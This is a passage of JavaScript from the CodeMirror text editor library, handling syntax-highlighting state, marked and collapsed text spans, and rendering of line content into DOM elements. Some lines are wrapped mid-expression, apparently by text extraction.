  function getLineStyles(cm, line, updateFrontier) {
    if (!line.styles || line.styles[0] != cm.state.modeGen) {
      var context = getContextBefore(cm, lineNo(line));
      var resetState = line.text.length > cm.options.maxHighlightLength
&& copyState(cm.doc.mode, context.state);
      var result = highlightLine(cm, line, context);
      if (resetState) { context.state = resetState; }
      line.stateAfter = context.save(!resetState);
      line.styles = result.styles;
      if (result.classes) { line.styleClasses = result.classes; }
      else if (line.styleClasses) { line.styleClasses = null; }
      if (updateFrontier === cm.doc.highlightFrontier)
        { cm.doc.modeFrontier = Math.max(cm.doc.modeFrontier,
++cm.doc.highlightFrontier); }
    }
    return line.styles
  }

  function getContextBefore(cm, n, precise) {
    var doc = cm.doc, display = cm.display;
    if (!doc.mode.startState) { return new Context(doc, true, n) }
    var start = findStartLine(cm, n, precise);
    var saved = start > doc.first && getLine(doc, start -
1).stateAfter;
    var context = saved ? Context.fromSaved(doc, saved, start) : new
Context(doc, startState(doc.mode), start);

    doc.iter(start, n, function (line) {
      processLine(cm, line.text, context);
      var pos = context.line;
      line.stateAfter = pos == n - 1 || pos % 5 == 0 || pos >=
display.viewFrom && pos < display.viewTo ? context.save() :
null;
      context.nextLine();
    });
    if (precise) { doc.modeFrontier = context.line; }
    return context
  }

  // Lightweight form of highlight -- proceed over this line and
  // update state, but don't save a style array. Used for lines that
  // aren't currently visible.
  function processLine(cm, text, context, startAt) {
    var mode = cm.doc.mode;
    var stream = new StringStream(text, cm.options.tabSize, context);
    stream.start = stream.pos = startAt || 0;
    if (text == "") { callBlankLine(mode, context.state); }
    while (!stream.eol()) {
      readToken(mode, stream, context.state);
      stream.start = stream.pos;
    }
  }

  function callBlankLine(mode, state) {
    if (mode.blankLine) { return mode.blankLine(state) }
    if (!mode.innerMode) { return }
    var inner = innerMode(mode, state);
    if (inner.mode.blankLine) { return inner.mode.blankLine(inner.state) }
  }

  function readToken(mode, stream, state, inner) {
    for (var i = 0; i < 10; i++) {
      if (inner) { inner[0] = innerMode(mode, state).mode; }
      var style = mode.token(stream, state);
      if (stream.pos > stream.start) { return style }
    }
    throw new Error("Mode " + mode.name + " failed to
advance stream.")
  }

  var Token = function(stream, type, state) {
    this.start = stream.start; this.end = stream.pos;
    this.string = stream.current();
    this.type = type || null;
    this.state = state;
  };

  // Utility for getTokenAt and getLineTokens
  function takeToken(cm, pos, precise, asArray) {
    var doc = cm.doc, mode = doc.mode, style;
    pos = clipPos(doc, pos);
    var line = getLine(doc, pos.line), context = getContextBefore(cm,
pos.line, precise);
    var stream = new StringStream(line.text, cm.options.tabSize, context),
tokens;
    if (asArray) { tokens = []; }
    while ((asArray || stream.pos < pos.ch) && !stream.eol()) {
      stream.start = stream.pos;
      style = readToken(mode, stream, context.state);
      if (asArray) { tokens.push(new Token(stream, style,
copyState(doc.mode, context.state))); }
    }
    return asArray ? tokens : new Token(stream, style, context.state)
  }

  function extractLineClasses(type, output) {
    if (type) { for (;;) {
      var lineClass = type.match(/(?:^|\s+)line-(background-)?(\S+)/);
      if (!lineClass) { break }
      type = type.slice(0, lineClass.index) + type.slice(lineClass.index +
lineClass[0].length);
      var prop = lineClass[1] ? "bgClass" :
"textClass";
      if (output[prop] == null)
        { output[prop] = lineClass[2]; }
      else if (!(new RegExp("(?:^|\\s)" + lineClass[2] +
"(?:$|\\s)")).test(output[prop]))
        { output[prop] += " " + lineClass[2]; }
    } }
    return type
  }

  // Run the given mode's parser over a line, calling f for each
token.
  function runMode(cm, text, mode, context, f, lineClasses, forceToEnd) {
    var flattenSpans = mode.flattenSpans;
    if (flattenSpans == null) { flattenSpans = cm.options.flattenSpans; }
    var curStart = 0, curStyle = null;
    var stream = new StringStream(text, cm.options.tabSize, context),
style;
    var inner = cm.options.addModeClass && [null];
    if (text == "") { extractLineClasses(callBlankLine(mode,
context.state), lineClasses); }
    while (!stream.eol()) {
      if (stream.pos > cm.options.maxHighlightLength) {
        flattenSpans = false;
        if (forceToEnd) { processLine(cm, text, context, stream.pos); }
        stream.pos = text.length;
        style = null;
      } else {
        style = extractLineClasses(readToken(mode, stream, context.state,
inner), lineClasses);
      }
      if (inner) {
        var mName = inner[0].name;
        if (mName) { style = "m-" + (style ? mName + "
" + style : mName); }
      }
      if (!flattenSpans || curStyle != style) {
        while (curStart < stream.start) {
          curStart = Math.min(stream.start, curStart + 5000);
          f(curStart, curStyle);
        }
        curStyle = style;
      }
      stream.start = stream.pos;
    }
    while (curStart < stream.pos) {
      // Webkit seems to refuse to render text nodes longer than 57444
      // characters, and returns inaccurate measurements in nodes
      // starting around 5000 chars.
      var pos = Math.min(stream.pos, curStart + 5000);
      f(pos, curStyle);
      curStart = pos;
    }
  }

  // Finds the line to start with when starting a parse. Tries to
  // find a line with a stateAfter, so that it can start with a
  // valid state. If that fails, it returns the line with the
  // smallest indentation, which tends to need the least context to
  // parse correctly.
  function findStartLine(cm, n, precise) {
    var minindent, minline, doc = cm.doc;
    var lim = precise ? -1 : n - (cm.doc.mode.innerMode ? 1000 : 100);
    for (var search = n; search > lim; --search) {
      if (search <= doc.first) { return doc.first }
      var line = getLine(doc, search - 1), after = line.stateAfter;
      if (after && (!precise || search + (after instanceof
SavedContext ? after.lookAhead : 0) <= doc.modeFrontier))
        { return search }
      var indented = countColumn(line.text, null, cm.options.tabSize);
      if (minline == null || minindent > indented) {
        minline = search - 1;
        minindent = indented;
      }
    }
    return minline
  }

  function retreatFrontier(doc, n) {
    doc.modeFrontier = Math.min(doc.modeFrontier, n);
    if (doc.highlightFrontier < n - 10) { return }
    var start = doc.first;
    for (var line = n - 1; line > start; line--) {
      var saved = getLine(doc, line).stateAfter;
      // change is on 3
      // state on line 1 looked ahead 2 -- so saw 3
      // test 1 + 2 < 3 should cover this
      if (saved && (!(saved instanceof SavedContext) || line +
saved.lookAhead < n)) {
        start = line + 1;
        break
      }
    }
    doc.highlightFrontier = Math.min(doc.highlightFrontier, start);
  }

  // Optimize some code when these features are not used.
  var sawReadOnlySpans = false, sawCollapsedSpans = false;

  function seeReadOnlySpans() {
    sawReadOnlySpans = true;
  }

  function seeCollapsedSpans() {
    sawCollapsedSpans = true;
  }

  // TEXTMARKER SPANS

  function MarkedSpan(marker, from, to) {
    this.marker = marker;
    this.from = from; this.to = to;
  }

  // Search an array of spans for a span matching the given marker.
  function getMarkedSpanFor(spans, marker) {
    if (spans) { for (var i = 0; i < spans.length; ++i) {
      var span = spans[i];
      if (span.marker == marker) { return span }
    } }
  }
  // Remove a span from an array, returning undefined if no spans are
  // left (we don't store arrays for lines without spans).
  function removeMarkedSpan(spans, span) {
    var r;
    for (var i = 0; i < spans.length; ++i)
      { if (spans[i] != span) { (r || (r = [])).push(spans[i]); } }
    return r
  }
  // Add a span to a line.
  function addMarkedSpan(line, span) {
    line.markedSpans = line.markedSpans ? line.markedSpans.concat([span]) :
[span];
    span.marker.attachLine(line);
  }

  // Used for the algorithm that adjusts markers for a change in the
  // document. These functions cut an array of spans at a given
  // character position, returning an array of remaining chunks (or
  // undefined if nothing remains).
  function markedSpansBefore(old, startCh, isInsert) {
    var nw;
    if (old) { for (var i = 0; i < old.length; ++i) {
      var span = old[i], marker = span.marker;
      var startsBefore = span.from == null || (marker.inclusiveLeft ?
span.from <= startCh : span.from < startCh);
      if (startsBefore || span.from == startCh && marker.type ==
"bookmark" && (!isInsert || !span.marker.insertLeft)) {
        var endsAfter = span.to == null || (marker.inclusiveRight ? span.to
>= startCh : span.to > startCh)
        ;(nw || (nw = [])).push(new MarkedSpan(marker, span.from, endsAfter
? null : span.to));
      }
    } }
    return nw
  }
  function markedSpansAfter(old, endCh, isInsert) {
    var nw;
    if (old) { for (var i = 0; i < old.length; ++i) {
      var span = old[i], marker = span.marker;
      var endsAfter = span.to == null || (marker.inclusiveRight ? span.to
>= endCh : span.to > endCh);
      if (endsAfter || span.from == endCh && marker.type ==
"bookmark" && (!isInsert || span.marker.insertLeft)) {
        var startsBefore = span.from == null || (marker.inclusiveLeft ?
span.from <= endCh : span.from < endCh)
        ;(nw || (nw = [])).push(new MarkedSpan(marker, startsBefore ? null
: span.from - endCh,
                                              span.to == null ? null :
span.to - endCh));
      }
    } }
    return nw
  }

  // Given a change object, compute the new set of marker spans that
  // cover the line in which the change took place. Removes spans
  // entirely within the change, reconnects spans belonging to the
  // same marker that appear on both sides of the change, and cuts off
  // spans partially within the change. Returns an array of span
  // arrays with one element for each line in (after) the change.
  function stretchSpansOverChange(doc, change) {
    if (change.full) { return null }
    var oldFirst = isLine(doc, change.from.line) && getLine(doc,
change.from.line).markedSpans;
    var oldLast = isLine(doc, change.to.line) && getLine(doc,
change.to.line).markedSpans;
    if (!oldFirst && !oldLast) { return null }

    var startCh = change.from.ch, endCh = change.to.ch, isInsert =
cmp(change.from, change.to) == 0;
    // Get the spans that 'stick out' on both sides
    var first = markedSpansBefore(oldFirst, startCh, isInsert);
    var last = markedSpansAfter(oldLast, endCh, isInsert);

    // Next, merge those two ends
    var sameLine = change.text.length == 1, offset =
lst(change.text).length + (sameLine ? startCh : 0);
    if (first) {
      // Fix up .to properties of first
      for (var i = 0; i < first.length; ++i) {
        var span = first[i];
        if (span.to == null) {
          var found = getMarkedSpanFor(last, span.marker);
          if (!found) { span.to = startCh; }
          else if (sameLine) { span.to = found.to == null ? null : found.to
+ offset; }
        }
      }
    }
    if (last) {
      // Fix up .from in last (or move them into first in case of sameLine)
      for (var i$1 = 0; i$1 < last.length; ++i$1) {
        var span$1 = last[i$1];
        if (span$1.to != null) { span$1.to += offset; }
        if (span$1.from == null) {
          var found$1 = getMarkedSpanFor(first, span$1.marker);
          if (!found$1) {
            span$1.from = offset;
            if (sameLine) { (first || (first = [])).push(span$1); }
          }
        } else {
          span$1.from += offset;
          if (sameLine) { (first || (first = [])).push(span$1); }
        }
      }
    }
    // Make sure we didn't create any zero-length spans
    if (first) { first = clearEmptySpans(first); }
    if (last && last != first) { last = clearEmptySpans(last); }

    var newMarkers = [first];
    if (!sameLine) {
      // Fill gap with whole-line-spans
      var gap = change.text.length - 2, gapMarkers;
      if (gap > 0 && first)
        { for (var i$2 = 0; i$2 < first.length; ++i$2)
          { if (first[i$2].to == null)
            { (gapMarkers || (gapMarkers = [])).push(new
MarkedSpan(first[i$2].marker, null, null)); } } }
      for (var i$3 = 0; i$3 < gap; ++i$3)
        { newMarkers.push(gapMarkers); }
      newMarkers.push(last);
    }
    return newMarkers
  }

  // Remove spans that are empty and don't have a clearWhenEmpty
  // option of false.
  function clearEmptySpans(spans) {
    for (var i = 0; i < spans.length; ++i) {
      var span = spans[i];
      if (span.from != null && span.from == span.to &&
span.marker.clearWhenEmpty !== false)
        { spans.splice(i--, 1); }
    }
    if (!spans.length) { return null }
    return spans
  }

  // Used to 'clip' out readOnly ranges when making a change.
  function removeReadOnlyRanges(doc, from, to) {
    var markers = null;
    doc.iter(from.line, to.line + 1, function (line) {
      if (line.markedSpans) { for (var i = 0; i <
line.markedSpans.length; ++i) {
        var mark = line.markedSpans[i].marker;
        if (mark.readOnly && (!markers || indexOf(markers, mark) ==
-1))
          { (markers || (markers = [])).push(mark); }
      } }
    });
    if (!markers) { return null }
    var parts = [{from: from, to: to}];
    for (var i = 0; i < markers.length; ++i) {
      var mk = markers[i], m = mk.find(0);
      for (var j = 0; j < parts.length; ++j) {
        var p = parts[j];
        if (cmp(p.to, m.from) < 0 || cmp(p.from, m.to) > 0) {
continue }
        var newParts = [j, 1], dfrom = cmp(p.from, m.from), dto = cmp(p.to,
m.to);
        if (dfrom < 0 || !mk.inclusiveLeft && !dfrom)
          { newParts.push({from: p.from, to: m.from}); }
        if (dto > 0 || !mk.inclusiveRight && !dto)
          { newParts.push({from: m.to, to: p.to}); }
        parts.splice.apply(parts, newParts);
        j += newParts.length - 3;
      }
    }
    return parts
  }

  // Connect or disconnect spans from a line.
  function detachMarkedSpans(line) {
    var spans = line.markedSpans;
    if (!spans) { return }
    for (var i = 0; i < spans.length; ++i)
      { spans[i].marker.detachLine(line); }
    line.markedSpans = null;
  }
  function attachMarkedSpans(line, spans) {
    if (!spans) { return }
    for (var i = 0; i < spans.length; ++i)
      { spans[i].marker.attachLine(line); }
    line.markedSpans = spans;
  }

  // Helpers used when computing which overlapping collapsed span
  // counts as the larger one.
  function extraLeft(marker) { return marker.inclusiveLeft ? -1 : 0 }
  function extraRight(marker) { return marker.inclusiveRight ? 1 : 0 }

  // Returns a number indicating which of two overlapping collapsed
  // spans is larger (and thus includes the other). Falls back to
  // comparing ids when the spans cover exactly the same range.
  function compareCollapsedMarkers(a, b) {
    var lenDiff = a.lines.length - b.lines.length;
    if (lenDiff != 0) { return lenDiff }
    var aPos = a.find(), bPos = b.find();
    var fromCmp = cmp(aPos.from, bPos.from) || extraLeft(a) - extraLeft(b);
    if (fromCmp) { return -fromCmp }
    var toCmp = cmp(aPos.to, bPos.to) || extraRight(a) - extraRight(b);
    if (toCmp) { return toCmp }
    return b.id - a.id
  }

  // Find out whether a line ends or starts in a collapsed span. If
  // so, return the marker for that span.
  function collapsedSpanAtSide(line, start) {
    var sps = sawCollapsedSpans && line.markedSpans, found;
    if (sps) { for (var sp = (void 0), i = 0; i < sps.length; ++i) {
      sp = sps[i];
      if (sp.marker.collapsed && (start ? sp.from : sp.to) == null
&&
          (!found || compareCollapsedMarkers(found, sp.marker) < 0))
        { found = sp.marker; }
    } }
    return found
  }
  function collapsedSpanAtStart(line) { return collapsedSpanAtSide(line,
true) }
  function collapsedSpanAtEnd(line) { return collapsedSpanAtSide(line,
false) }

  function collapsedSpanAround(line, ch) {
    var sps = sawCollapsedSpans && line.markedSpans, found;
    if (sps) { for (var i = 0; i < sps.length; ++i) {
      var sp = sps[i];
      if (sp.marker.collapsed && (sp.from == null || sp.from <
ch) && (sp.to == null || sp.to > ch) &&
          (!found || compareCollapsedMarkers(found, sp.marker) < 0)) {
found = sp.marker; }
    } }
    return found
  }

  // Test whether there exists a collapsed span that partially
  // overlaps (covers the start or end, but not both) of a new span.
  // Such overlap is not allowed.
  function conflictingCollapsedRange(doc, lineNo, from, to, marker) {
    var line = getLine(doc, lineNo);
    var sps = sawCollapsedSpans && line.markedSpans;
    if (sps) { for (var i = 0; i < sps.length; ++i) {
      var sp = sps[i];
      if (!sp.marker.collapsed) { continue }
      var found = sp.marker.find(0);
      var fromCmp = cmp(found.from, from) || extraLeft(sp.marker) -
extraLeft(marker);
      var toCmp = cmp(found.to, to) || extraRight(sp.marker) -
extraRight(marker);
      if (fromCmp >= 0 && toCmp <= 0 || fromCmp <= 0
&& toCmp >= 0) { continue }
      if (fromCmp <= 0 && (sp.marker.inclusiveRight &&
marker.inclusiveLeft ? cmp(found.to, from) >= 0 : cmp(found.to, from)
> 0) ||
          fromCmp >= 0 && (sp.marker.inclusiveRight &&
marker.inclusiveLeft ? cmp(found.from, to) <= 0 : cmp(found.from, to)
< 0))
        { return true }
    } }
  }

  // A visual line is a line as drawn on the screen. Folding, for
  // example, can cause multiple logical lines to appear on the same
  // visual line. This finds the start of the visual line that the
  // given line is part of (usually that is the line itself).
  function visualLine(line) {
    var merged;
    while (merged = collapsedSpanAtStart(line))
      { line = merged.find(-1, true).line; }
    return line
  }

  function visualLineEnd(line) {
    var merged;
    while (merged = collapsedSpanAtEnd(line))
      { line = merged.find(1, true).line; }
    return line
  }

  // Returns an array of logical lines that continue the visual line
  // started by the argument, or undefined if there are no such lines.
  function visualLineContinued(line) {
    var merged, lines;
    while (merged = collapsedSpanAtEnd(line)) {
      line = merged.find(1, true).line
      ;(lines || (lines = [])).push(line);
    }
    return lines
  }

  // Get the line number of the start of the visual line that the
  // given line number is part of.
  function visualLineNo(doc, lineN) {
    var line = getLine(doc, lineN), vis = visualLine(line);
    if (line == vis) { return lineN }
    return lineNo(vis)
  }

  // Get the line number of the start of the next visual line after
  // the given line.
  function visualLineEndNo(doc, lineN) {
    if (lineN > doc.lastLine()) { return lineN }
    var line = getLine(doc, lineN), merged;
    if (!lineIsHidden(doc, line)) { return lineN }
    while (merged = collapsedSpanAtEnd(line))
      { line = merged.find(1, true).line; }
    return lineNo(line) + 1
  }

  // Compute whether a line is hidden. Lines count as hidden when they
  // are part of a visual line that starts with another line, or when
  // they are entirely covered by collapsed, non-widget span.
  function lineIsHidden(doc, line) {
    var sps = sawCollapsedSpans && line.markedSpans;
    if (sps) { for (var sp = (void 0), i = 0; i < sps.length; ++i) {
      sp = sps[i];
      if (!sp.marker.collapsed) { continue }
      if (sp.from == null) { return true }
      if (sp.marker.widgetNode) { continue }
      if (sp.from == 0 && sp.marker.inclusiveLeft &&
lineIsHiddenInner(doc, line, sp))
        { return true }
    } }
  }
  function lineIsHiddenInner(doc, line, span) {
    if (span.to == null) {
      var end = span.marker.find(1, true);
      return lineIsHiddenInner(doc, end.line,
getMarkedSpanFor(end.line.markedSpans, span.marker))
    }
    if (span.marker.inclusiveRight && span.to == line.text.length)
      { return true }
    for (var sp = (void 0), i = 0; i < line.markedSpans.length; ++i) {
      sp = line.markedSpans[i];
      if (sp.marker.collapsed && !sp.marker.widgetNode &&
sp.from == span.to &&
          (sp.to == null || sp.to != span.from) &&
          (sp.marker.inclusiveLeft || span.marker.inclusiveRight)
&&
          lineIsHiddenInner(doc, line, sp)) { return true }
    }
  }

  // Find the height above the given line.
  function heightAtLine(lineObj) {
    lineObj = visualLine(lineObj);

    var h = 0, chunk = lineObj.parent;
    for (var i = 0; i < chunk.lines.length; ++i) {
      var line = chunk.lines[i];
      if (line == lineObj) { break }
      else { h += line.height; }
    }
    for (var p = chunk.parent; p; chunk = p, p = chunk.parent) {
      for (var i$1 = 0; i$1 < p.children.length; ++i$1) {
        var cur = p.children[i$1];
        if (cur == chunk) { break }
        else { h += cur.height; }
      }
    }
    return h
  }

  // Compute the character length of a line, taking into account
  // collapsed ranges (see markText) that might hide parts, and join
  // other lines onto it.
  function lineLength(line) {
    if (line.height == 0) { return 0 }
    var len = line.text.length, merged, cur = line;
    while (merged = collapsedSpanAtStart(cur)) {
      var found = merged.find(0, true);
      cur = found.from.line;
      len += found.from.ch - found.to.ch;
    }
    cur = line;
    while (merged = collapsedSpanAtEnd(cur)) {
      var found$1 = merged.find(0, true);
      len -= cur.text.length - found$1.from.ch;
      cur = found$1.to.line;
      len += cur.text.length - found$1.to.ch;
    }
    return len
  }

  // Find the longest line in the document.
  function findMaxLine(cm) {
    var d = cm.display, doc = cm.doc;
    d.maxLine = getLine(doc, doc.first);
    d.maxLineLength = lineLength(d.maxLine);
    d.maxLineChanged = true;
    doc.iter(function (line) {
      var len = lineLength(line);
      if (len > d.maxLineLength) {
        d.maxLineLength = len;
        d.maxLine = line;
      }
    });
  }

  // LINE DATA STRUCTURE

  // Line objects. These hold state related to a line, including
  // highlighting info (the styles array).
  var Line = function(text, markedSpans, estimateHeight) {
    this.text = text;
    attachMarkedSpans(this, markedSpans);
    this.height = estimateHeight ? estimateHeight(this) : 1;
  };

  Line.prototype.lineNo = function () { return lineNo(this) };
  eventMixin(Line);

  // Change the content (text, markers) of a line. Automatically
  // invalidates cached information and tries to re-estimate the
  // line's height.
  function updateLine(line, text, markedSpans, estimateHeight) {
    line.text = text;
    if (line.stateAfter) { line.stateAfter = null; }
    if (line.styles) { line.styles = null; }
    if (line.order != null) { line.order = null; }
    detachMarkedSpans(line);
    attachMarkedSpans(line, markedSpans);
    var estHeight = estimateHeight ? estimateHeight(line) : 1;
    if (estHeight != line.height) { updateLineHeight(line, estHeight); }
  }

  // Detach a line from the document tree and its markers.
  function cleanUpLine(line) {
    line.parent = null;
    detachMarkedSpans(line);
  }

  // Convert a style as returned by a mode (either null, or a string
  // containing one or more styles) to a CSS style. This is cached,
  // and also looks for line-wide styles.
  var styleToClassCache = {}, styleToClassCacheWithMode = {};
  function interpretTokenStyle(style, options) {
    if (!style || /^\s*$/.test(style)) { return null }
    var cache = options.addModeClass ? styleToClassCacheWithMode :
styleToClassCache;
    return cache[style] ||
      (cache[style] = style.replace(/\S+/g, "cm-$&"))
  }

  // Render the DOM representation of the text of a line. Also builds
  // up a 'line map', which points at the DOM nodes that
represent
  // specific stretches of text, and is used by the measuring code.
  // The returned object contains the DOM node, this map, and
  // information about line-wide styles that were set by the mode.
  function buildLineContent(cm, lineView) {
    // The padding-right forces the element to have a 'border',
which
    // is needed on Webkit to be able to get line-level bounding
    // rectangles for it (in measureChar).
    var content = eltP("span", null, null, webkit ?
"padding-right: .1px" : null);
    var builder = {pre: eltP("pre", [content],
"CodeMirror-line"), content: content,
                   col: 0, pos: 0, cm: cm,
                   trailingSpace: false,
                   splitSpaces: cm.getOption("lineWrapping")};
    lineView.measure = {};

    // Iterate over the logical lines that make up this visual line.
    for (var i = 0; i <= (lineView.rest ? lineView.rest.length : 0);
i++) {
      var line = i ? lineView.rest[i - 1] : lineView.line, order = (void
0);
      builder.pos = 0;
      builder.addToken = buildToken;
      // Optionally wire in some hacks into the token-rendering
      // algorithm, to deal with browser quirks.
      if (hasBadBidiRects(cm.display.measure) && (order =
getOrder(line, cm.doc.direction)))
        { builder.addToken = buildTokenBadBidi(builder.addToken, order); }
      builder.map = [];
      var allowFrontierUpdate = lineView != cm.display.externalMeasured
&& lineNo(line);
      insertLineContent(line, builder, getLineStyles(cm, line,
allowFrontierUpdate));
      if (line.styleClasses) {
        if (line.styleClasses.bgClass)
          { builder.bgClass = joinClasses(line.styleClasses.bgClass,
builder.bgClass || ""); }
        if (line.styleClasses.textClass)
          { builder.textClass = joinClasses(line.styleClasses.textClass,
builder.textClass || ""); }
      }

      // Ensure at least a single node is present, for measuring.
      if (builder.map.length == 0)
        { builder.map.push(0, 0,
builder.content.appendChild(zeroWidthElement(cm.display.measure))); }

      // Store the map and a cache object for the current logical line
      if (i == 0) {
        lineView.measure.map = builder.map;
        lineView.measure.cache = {};
      } else {
  (lineView.measure.maps || (lineView.measure.maps = [])).push(builder.map)
        ;(lineView.measure.caches || (lineView.measure.caches =
[])).push({});
      }
    }

    // See issue #2901
    if (webkit) {
      var last = builder.content.lastChild;
      if (/\bcm-tab\b/.test(last.className) || (last.querySelector
&& last.querySelector(".cm-tab")))
        { builder.content.className = "cm-tab-wrap-hack"; }
    }

    signal(cm, "renderLine", cm, lineView.line, builder.pre);
    if (builder.pre.className)
      { builder.textClass = joinClasses(builder.pre.className,
builder.textClass || ""); }

    return builder
  }

  function defaultSpecialCharPlaceholder(ch) {
    var token = elt("span", "\u2022",
"cm-invalidchar");
    token.title = "\\u" + ch.charCodeAt(0).toString(16);
    token.setAttribute("aria-label", token.title);
    return token
  }

  // Build up the DOM representation for a single token, and add it to
  // the line map. Takes care to render special characters separately.
  function buildToken(builder, text, style, startStyle, endStyle, css,
attributes) {
    if (!text) { return }
    var displayText = builder.splitSpaces ? splitSpaces(text,
builder.trailingSpace) : text;
    var special = builder.cm.state.specialChars, mustWrap = false;
    var content;
    if (!special.test(text)) {
      builder.col += text.length;
      content = document.createTextNode(displayText);
      builder.map.push(builder.pos, builder.pos + text.length, content);
      if (ie && ie_version < 9) { mustWrap = true; }
      builder.pos += text.length;
    } else {
      content = document.createDocumentFragment();
      var pos = 0;
      while (true) {
        special.lastIndex = pos;
        var m = special.exec(text);
        var skipped = m ? m.index - pos : text.length - pos;
        if (skipped) {
          var txt = document.createTextNode(displayText.slice(pos, pos +
skipped));
          if (ie && ie_version < 9) {
content.appendChild(elt("span", [txt])); }
          else { content.appendChild(txt); }
          builder.map.push(builder.pos, builder.pos + skipped, txt);
          builder.col += skipped;
          builder.pos += skipped;
        }
        if (!m) { break }
        pos += skipped + 1;
        var txt$1 = (void 0);
        if (m[0] == "\t") {
          var tabSize = builder.cm.options.tabSize, tabWidth = tabSize -
builder.col % tabSize;
          txt$1 = content.appendChild(elt("span",
spaceStr(tabWidth), "cm-tab"));
          txt$1.setAttribute("role", "presentation");
          txt$1.setAttribute("cm-text", "\t");
          builder.col += tabWidth;
        } else if (m[0] == "\r" || m[0] == "\n") {
          txt$1 = content.appendChild(elt("span", m[0] ==
"\r" ? "\u240d" : "\u2424",
"cm-invalidchar"));
          txt$1.setAttribute("cm-text", m[0]);
          builder.col += 1;
        } else {
          txt$1 = builder.cm.options.specialCharPlaceholder(m[0]);
          txt$1.setAttribute("cm-text", m[0]);
          if (ie && ie_version < 9) {
content.appendChild(elt("span", [txt$1])); }
          else { content.appendChild(txt$1); }
          builder.col += 1;
        }
        builder.map.push(builder.pos, builder.pos + 1, txt$1);
        builder.pos++;
      }
    }
    builder.trailingSpace = displayText.charCodeAt(text.length - 1) == 32;
    if (style || startStyle || endStyle || mustWrap || css) {
      var fullStyle = style || "";
      if (startStyle) { fullStyle += startStyle; }
      if (endStyle) { fullStyle += endStyle; }
      var token = elt("span", [content], fullStyle, css);
      if (attributes) {
        for (var attr in attributes) { if (attributes.hasOwnProperty(attr)
&& attr != "style" && attr != "class")
          { token.setAttribute(attr, attributes[attr]); } }
      }
      return builder.content.appendChild(token)
    }
    builder.content.appendChild(content);
  }

  // Change some spaces to NBSP to prevent the browser from collapsing
  // trailing spaces at the end of a line when rendering text (issue
#1362).
  function splitSpaces(text, trailingBefore) {
    if (text.length > 1 && !/  /.test(text)) { return text }
    var spaceBefore = trailingBefore, result = "";
    for (var i = 0; i < text.length; i++) {
      var ch = text.charAt(i);
      if (ch == " " && spaceBefore && (i ==
text.length - 1 || text.charCodeAt(i + 1) == 32))
        { ch = "\u00a0"; }
      result += ch;
      spaceBefore = ch == " ";
    }
    return result
  }

  // Work around nonsense dimensions being reported for stretches of
  // right-to-left text.
  function buildTokenBadBidi(inner, order) {
    return function (builder, text, style, startStyle, endStyle, css,
attributes) {
      style = style ? style + " cm-force-border" :
"cm-force-border";
      var start = builder.pos, end = start + text.length;
      for (;;) {
        // Find the part that overlaps with the start of this text
        var part = (void 0);
        for (var i = 0; i < order.length; i++) {
          part = order[i];
          if (part.to > start && part.from <= start) { break
}
        }
        if (part.to >= end) { return inner(builder, text, style,
startStyle, endStyle, css, attributes) }
        inner(builder, text.slice(0, part.to - start), style, startStyle,
null, css, attributes);
        startStyle = null;
        text = text.slice(part.to - start);
        start = part.to;
      }
    }
  }

  function buildCollapsedSpan(builder, size, marker, ignoreWidget) {
    var widget = !ignoreWidget && marker.widgetNode;
    if (widget) { builder.map.push(builder.pos, builder.pos + size,
widget); }
    if (!ignoreWidget &&
builder.cm.display.input.needsContentAttribute) {
      if (!widget)
        { widget =
builder.content.appendChild(document.createElement("span")); }
      widget.setAttribute("cm-marker", marker.id);
    }
    if (widget) {
      builder.cm.display.input.setUneditable(widget);
      builder.content.appendChild(widget);
    }
    builder.pos += size;
    builder.trailingSpace = false;
  }

  // Outputs a number of spans to make up a line, taking highlighting
  // and marked text into account.
  function insertLineContent(line, builder, styles) {
    var spans = line.markedSpans, allText = line.text, at = 0;
    if (!spans) {
      for (var i$1 = 1; i$1 < styles.length; i$1+=2)
        { builder.addToken(builder, allText.slice(at, at = styles[i$1]),
interpretTokenStyle(styles[i$1+1], builder.cm.options)); }
      return
    }

    var len = allText.length, pos = 0, i = 1, text = "", style,
css;
    var nextChange = 0, spanStyle, spanEndStyle, spanStartStyle, collapsed,
attributes;
    for (;;) {
      if (nextChange == pos) { // Update current marker set
        spanStyle = spanEndStyle = spanStartStyle = css = "";
        attributes = null;
        collapsed = null; nextChange = Infinity;
        var foundBookmarks = [], endStyles = (void 0);
        for (var j = 0; j < spans.length; ++j) {
          var sp = spans[j], m = sp.marker;
          if (m.type == "bookmark" && sp.from == pos
&& m.widgetNode) {
            foundBookmarks.push(m);
          } else if (sp.from <= pos && (sp.to == null || sp.to
> pos || m.collapsed && sp.to == pos && sp.from == pos))
{
            if (sp.to != null && sp.to != pos && nextChange
> sp.to) {
              nextChange = sp.to;
              spanEndStyle = "";
            }
            if (m.className) { spanStyle += " " + m.className; }
            if (m.css) { css = (css ? css + ";" : "") +
m.css; }
            if (m.startStyle && sp.from == pos) { spanStartStyle +=
" " + m.startStyle; }
            if (m.endStyle && sp.to == nextChange) { (endStyles ||
(endStyles = [])).push(m.endStyle, sp.to); }
            // support for the old title property
            // https://github.com/codemirror/CodeMirror/pull/5673
            if (m.title) { (attributes || (attributes = {})).title =
m.title; }
            if (m.attributes) {
              for (var attr in m.attributes)
                { (attributes || (attributes = {}))[attr] =
m.attributes[attr]; }
            }
            if (m.collapsed && (!collapsed ||
compareCollapsedMarkers(collapsed.marker, m) < 0))
              { collapsed = sp; }
          } else if (sp.from > pos && nextChange > sp.from) {
            nextChange = sp.from;
          }
        }
        if (endStyles) { for (var j$1 = 0; j$1 < endStyles.length; j$1
+= 2)
          { if (endStyles[j$1 + 1] == nextChange) { spanEndStyle += "
" + endStyles[j$1]; } } }

        if (!collapsed || collapsed.from == pos) { for (var j$2 = 0; j$2
< foundBookmarks.length; ++j$2)
          { buildCollapsedSpan(builder, 0, foundBookmarks[j$2]); } }
        if (collapsed && (collapsed.from || 0) == pos) {
          buildCollapsedSpan(builder, (collapsed.to == null ? len + 1 :
collapsed.to) - pos,
                             collapsed.marker, collapsed.from == null);
          if (collapsed.to == null) { return }
          if (collapsed.to == pos) { collapsed = false; }
        }
      }
      if (pos >= len) { break }

      var upto = Math.min(len, nextChange);
      while (true) {
        if (text) {
          var end = pos + text.length;
          if (!collapsed) {
            var tokenText = end > upto ? text.slice(0, upto - pos) :
text;
            builder.addToken(builder, tokenText, style ? style + spanStyle
: spanStyle,
                             spanStartStyle, pos + tokenText.length ==
nextChange ? spanEndStyle : "", css, attributes);
          }
          if (end >= upto) {text = text.slice(upto - pos); pos = upto;
break}
          pos = end;
          spanStartStyle = "";
        }
        text = allText.slice(at, at = styles[i++]);
        style = interpretTokenStyle(styles[i++], builder.cm.options);
      }
    }
  }


